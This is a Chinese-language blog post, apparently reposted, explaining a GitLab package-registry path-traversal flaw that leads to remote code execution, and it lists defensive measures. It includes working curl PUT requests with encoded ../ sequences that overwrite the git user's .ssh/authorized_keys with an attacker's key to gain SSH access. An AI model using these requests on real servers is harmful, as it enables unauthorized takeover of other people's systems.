通过路径遍历所实现的RCE

漏洞原理

路径遍历:这种类型的安全漏洞允许攻击者访问应用程序本不打算公开的文件和目录。通过构造特殊的输入,如使用../(向上遍历目录)的序列,攻击者可以逃离受限的目录,访问文件系统上的其他位置。

利用GitLab包注册API:攻击者通过向GitLab的包注册API发送特殊构造的请求,利用路径遍历漏洞,将恶意文件(如SSH公钥)写入到一个敏感文件(如.ssh/authorized_keys)中。

攻击过程

启用包注册功能:确保GitLab实例中启用了包注册功能。

创建项目:在启用了包注册的GitLab实例中创建一个新项目。

生成私人令牌:为了通过API调用GitLab,创建一个私人令牌。

发送恶意请求:使用curl发送一个PUT请求,该请求包含了一个经过精心构造的路径,利用路径遍历漏洞来覆盖或创建.ssh/authorized_keys文件,将攻击者的SSH公钥添加进去。

示例请求:

curl -H "Private-Token: $(cat token)" http://10.26.0.5/api/v4/projects/2/packages/maven/a%2fb%2fc%2fd%2fe%2ff%2fg%2fh%2fi%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys -XPUT --path-as-is --data-binary @/home/asakawa/.ssh/id_rsa.pub

在这个请求中,%2e%2e是URL编码的..,代表路径中的“上一级目录”。

获取Shell访问:在.ssh/authorized_keys文件被成功写入攻击者的SSH公钥后,攻击者就可以使用SSH以git用户的身份登录GitLab服务器,并执行任意命令。

漏洞的危害

这个漏洞允许未经授权的攻击者远程写入文件到GitLab服务器上的任意位置,这可能导致多种安全问题,包括但不限于:

未经授权的服务器访问。

以服务器用户身份执行任意代码。

进一步的权限提升攻击。

防御措施

立即升级到最新版本的GitLab,以确保包含了对该漏洞的修复。

定期检查并限制对敏感文件(如.ssh/authorized_keys)的写入权限,确保仅受信任的进程和用户有权修改。

在可能的情况下,限制外部API的访问,仅允许受信任的用户和系统调用这些接口。

定期审计和监控重要文件的变化,以便快速检测到未经授权的修改行为。

正常情况下的请求

在没有安全漏洞利用的情况下,一个正常的API请求到GitLab的包注册功能可能是为了上传或下载包文件,而不会试图访问或修改系统文件。例如,一个正常的上传Maven包的请求可能看起来像这样:

curl -H "Private-Token: <your_token>" -XPUT http://gitlab.example.com/api/v4/projects/2/packages/maven/com/example/myapp/1.0/myapp-1.0.jar --data-binary @/path/to/myapp-1.0.jar

这个请求是将一个名为myapp-1.0.jar的文件上传到GitLab实例中项目ID为2的Maven仓库中。这里没有尝试越过授权路径或者修改敏感文件。

受到攻击之后的请求

受到攻击时,请求会包含恶意构造的路径,尝试利用路径遍历漏洞覆盖或修改敏感文件。攻击者可能会发送如下请求:

curl -H "Private-Token: <your_token>" http://gitlab.example.com/api/v4/projects/2/packages/maven/a%2fb%2fc%2fd%2fe%2ff%2fg%2fh%2fi%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys -XPUT --path-as-is --data-binary @/home/attacker/.ssh/id_rsa.pub#其实就是:
curl -H "Private-Token: <your_token>" http://gitlab.example.com/api/v4//projects/2/packages/maven/a/b/c/d/e/f/g/h/i/1/../../../../../../../../../../.ssh/authorized_keys -XPUT --path-as-is --data-binary @/home/attacker/.ssh/id_rsa.pub

在这个请求中,攻击者利用了路径遍历(%2e%2e..的URL编码,表示上一级目录)来尝试将自己的SSH公钥添加到GitLab服务器上git用户的.ssh/authorized_keys文件中。如果成功,这将允许攻击者通过SSH以git用户身份登录到服务器,并可能执行进一步的恶意操作。

整个流程

环节 1:准备阶段

启用GitLab包注册功能:攻击者首先确认目标GitLab实例启用了包注册功能,这是他们利用这个漏洞的前提条件。 创建项目:攻击者在GitLab实例中创建一个项目,或者找到一个已经存在的项目,该项目启用了包注册功能。 获取API访问令牌:攻击者需要一个API访问令牌来进行API调用。这可以通过创建一个私有访问令牌来实现,这通常是通过GitLab的用户界面完成的。

环节 2:构造恶意请求

构造路径遍历请求:攻击者构造一个恶意的API请求,该请求利用路径遍历漏洞。这通过在请求路径中包含多个../序列来实现,目的是跨越目录边界,访问GitLab服务器上的任意文件系统位置。 目标文件选择:攻击者选择一个目标文件,例如.ssh/authorized_keys,以便能够在成功利用漏洞后通过SSH访问服务器。 发送请求:使用构造好的路径和目标文件,攻击者发送一个PUT请求,试图将自己的SSH公钥写入到目标GitLab服务器的.ssh/authorized_keys文件中。

环节 3:利用漏洞

请求处理:GitLab服务器接收到请求,并开始处理。由于存在路径遍历漏洞,服务器没有正确地限制请求路径的范围,导致请求跳出了预定的路径。 写入文件:恶意请求成功绕过了路径限制,将攻击者的SSH公钥写入了.ssh/authorized_keys文件。

环节 4:获取访问权限

SSH访问:攻击者现在可以使用其SSH私钥通过SSH作为git用户登录到GitLab服务器,因为其公钥已被添加到authorized_keys文件中。 执行命令:一旦获得对GitLab服务器的SSH访问权限,攻击者可以执行任意命令,从而完全控制服务器。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/839475.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Python】—— 公共的方法

目录 &#xff08;一&#xff09;公共操作 1.1 公共操作之运算符加号 1.2 公共操作之运算符乘号 1.3 公共操作之运算符判断数据是否存在 &#xff08;二&#xff09;公共方法 2.1 公共方法-len 2.2 公共方法-del 2.3 公共方法-max和min 2.4 公共方法-range 2.5 公共方…

Potree点云手册

兄弟们整理和收集资料不容易&#xff0c;请关注手册&#xff01;&#xff01; Potree 以其高显示速度而脱颖而出&#xff0c;使其成为处理大量点云数据集的绝佳选择。 我们的重点将是 Potree 提供的多样化导航和显示选项。 如果你遇到任何问题&#xff0c;请随时尝试其他浏览器…

算法2:滑动窗口(上)

文章目录 长度最小子数组无重复字符的最长子串[最大连续 1 的个数III](https://leetcode.cn/problems/max-consecutive-ones-iii/description/)将x减到0的最小操作数 长度最小子数组 class Solution { public:int minSubArrayLen(int target, vector<int>& nums) {in…

聚观早报 | 拼多多第一季度营收;苹果2024款彩虹表带上市

聚观早报每日整理最值得关注的行业重点事件&#xff0c;帮助大家及时了解最新行业动态&#xff0c;每日读报&#xff0c;就读聚观365资讯简报。 整理丨Cutie 5月24日消息 拼多多第一季度营收 苹果2024款彩虹表带上市 小米汽车智驾将提速 iPhone 16 Pro Max将用最大屏幕 …

【hive和spark】hive on spark和spark读取hive metastore配置

HIVE ON SPARK 和 SPARK READ HIVE METASTORE 具体hadoop 和 hive单机版本安装请参考单节点搭建hadoop和hive 此文是基与这篇基础上升级而来。 零、版本说明&#xff1a; 本例使用的版本&#xff0c;hive和spark版本对标Cloudera 公司的 cdh6.2.0 版本&#xff0c;hdfs图省事…

vscode 插件开发指南

1安装nodejs、vscode 2安装插件脚手架 npm install -g yo generator-code 3使用命令创建插件项目 yo code 4在vscode中打开项目 5运行调试&#xff0c;按F5键 6在新打开的窗口中按shiftctrlp 然后执行命令 7配置右键菜单命令 遇到问题&#xff1a; 1.package.json中vsc…

高性能负载均衡的分类及架构分析

如何选择与部署适合的高性能负载均衡方案&#xff1f; 当单服务器性能无法满足需求&#xff0c;高性能集群便成为提升系统处理能力的关键。其核心在于通过增加服务器数量&#xff0c;强化整体计算能力。而集群设计的挑战在于任务分配&#xff0c;因为无论在哪台服务器上执行&am…

STM32_HAL_RTC时钟

1. RTC 时钟简介 STM32F407 的实时时钟&#xff08;RTC&#xff09;是一个独立的定时器。 STM32 的 RTC 模块拥有一组连续计数的计数器&#xff0c;在相对应的软件配置下&#xff0c;可提供时钟日历的功能。修改计数器的值可以重新设置系统的当前时间和日期。 RTC 模块和时钟配…

2024年电工杯数学建模A题思路分享 - 园区微电网风光储协调优化配置

# 1 赛题 A 题&#xff1a; 园区微电网风光储协调优化配置 园区微电网由风光发电和主电网联合为负荷供电&#xff0c;为了尽量提高风光电量的 负荷占比&#xff0c;需配置较高比例的风光发电装机容量&#xff0c;但由于园区负荷与风光发电功 率时序不匹配&#xff0c; 可能导致…

SaToken+SpringBoot+Redis前后端分离登录认证

目录 前言一、创建工程项目&#x1f38d;1.1 创建后端工程1.2 创建前端工程 二、业务代码&#x1f38a;后端代码前端代码 三、测试参考资料 前言 Sa-Token 是一款 Java 语言的权限认证框架&#xff0c;提供了灵活、高效、易用的权限认证和会话管理功能。它是 SpringBoot、Spri…

移动端/PC端布局-flex布局

一:flex布局概述 作用 更加灵活、精确的布局块级盒子,避免了浮动布局中脱离标准流的现象;构成 只要启动了弹性布局:父元素变为:弹性容器、子元素为:弹性盒子、x轴水平方向为:主轴、y轴垂直方向为:侧轴(默认)二:如何使用flex布局 如何启动flex布局 给父级盒子(弹性…

mysql bin 日志转成sql

首先确定mysql binlog 服务开启 SHOW VARIABLES LIKE log_bin; 找到binlog日志 find / -name mysql-bin.* -type f 下载下来 本地找到mysql安装位置的bin目录 在窗口路径处直接输入cmd 执行 mysqlbinlog --no-defaults --base64-outputdecode-rows -v --start-datetime&…

华为大咖说 | 企业应用AI大模型的“道、法、术” ——道:认知篇

本文作者&#xff1a;郑岩&#xff08;华为云AI变革首席专家&#xff09;全文约3313字&#xff0c;阅读约需8分钟&#xff0c;请仔细看看哦~ 前阵子&#xff0c;我在公司内部发了一篇Sora的科普贴&#xff0c;本来只是个简单的技术总结&#xff0c;但让我意外的是&#xff0c;…

vue.js对接海康威视摄像头web开发包

一、登录海康开放平台下载web开发包&#xff0c;下载需要先登录海康账号&#xff0c;没有的需先注册一个。 这里的appkey、ip、port、secret 和cameraIndexCodeasd是自己去申请的 appkey: "****", ip: "****", port: **, secret: "****", //必填…

torch配置时出现问题

torch配置时出现如下问题&#xff1a; 可能原因&#xff1a; 1、下载的whl文件中python版本与本机上的python版本不匹配&#xff1b; 2、上图中的文件是64位的&#xff0c;而本机python是32位的&#xff0c;也无法匹配&#xff1b; 3、cuda的版本不匹配。

关于在企业环境中中间人攻击(MITM)可行性研究的报告

这份文件是一篇关于在企业环境中中间人攻击&#xff08;MITM&#xff09;可行性研究的报告&#xff0c;由Nobel Ang和Koh Chuen Hia撰写。 以下是其核心内容的概述&#xff1a; 标题&#xff1a; 研究在企业环境中中间人攻击的可行性 作者&#xff1a; Nobel Ang&#xff08…

Spring Boot中集成WebSocket

目录 WebSocket简介WebSocket原理WebSocket的使用场景在Spring Boot中集成WebSocket 创建Spring Boot项目添加依赖配置WebSocket创建WebSocket处理器配置WebSocket端点前端使用WebSocket添加WebSocket拦截器 WebSocket简介 WebSocket是一种在单个TCP连接上进行全双工通信的…

AI在线免费音乐生成工具:suno、udio、stableaudio

文生音乐 1、suno https://app.suno.ai/ 2、udio https://www.udio.com/ 3、stableaudio https://stableaudio.com/live https://www.stableaudio.com/?utm_campaignstableaudio_promo&utm_mediumcta_button&utm_sourcestability_ai 4、其他MusicGen https://…

新书推荐:6.1 if语句

计算机语言和人类语言类似&#xff0c;人类语言是为了解决人与人之间交流的问题&#xff0c;而计算机语言是为了解决程序员与计算机之间交流的问题。程序员编写的程序就是计算机的控制指令&#xff0c;控制计算机的运行。借助于编译工具&#xff0c;可以将各种不同的编程语言的…

Springboo基础入门

一、SpringBoot概述 SpringBoot的诞生背景可以追溯到对传统Spring框架的改进需求&#xff0c;在过去&#xff0c;使用spring框架构建应用程序需要大量的配置和设置&#xff0c;这无形中层架了开发者的工作量并且&#xff0c;肯能造成一些配置上的错误&#xff0c;因此springboo…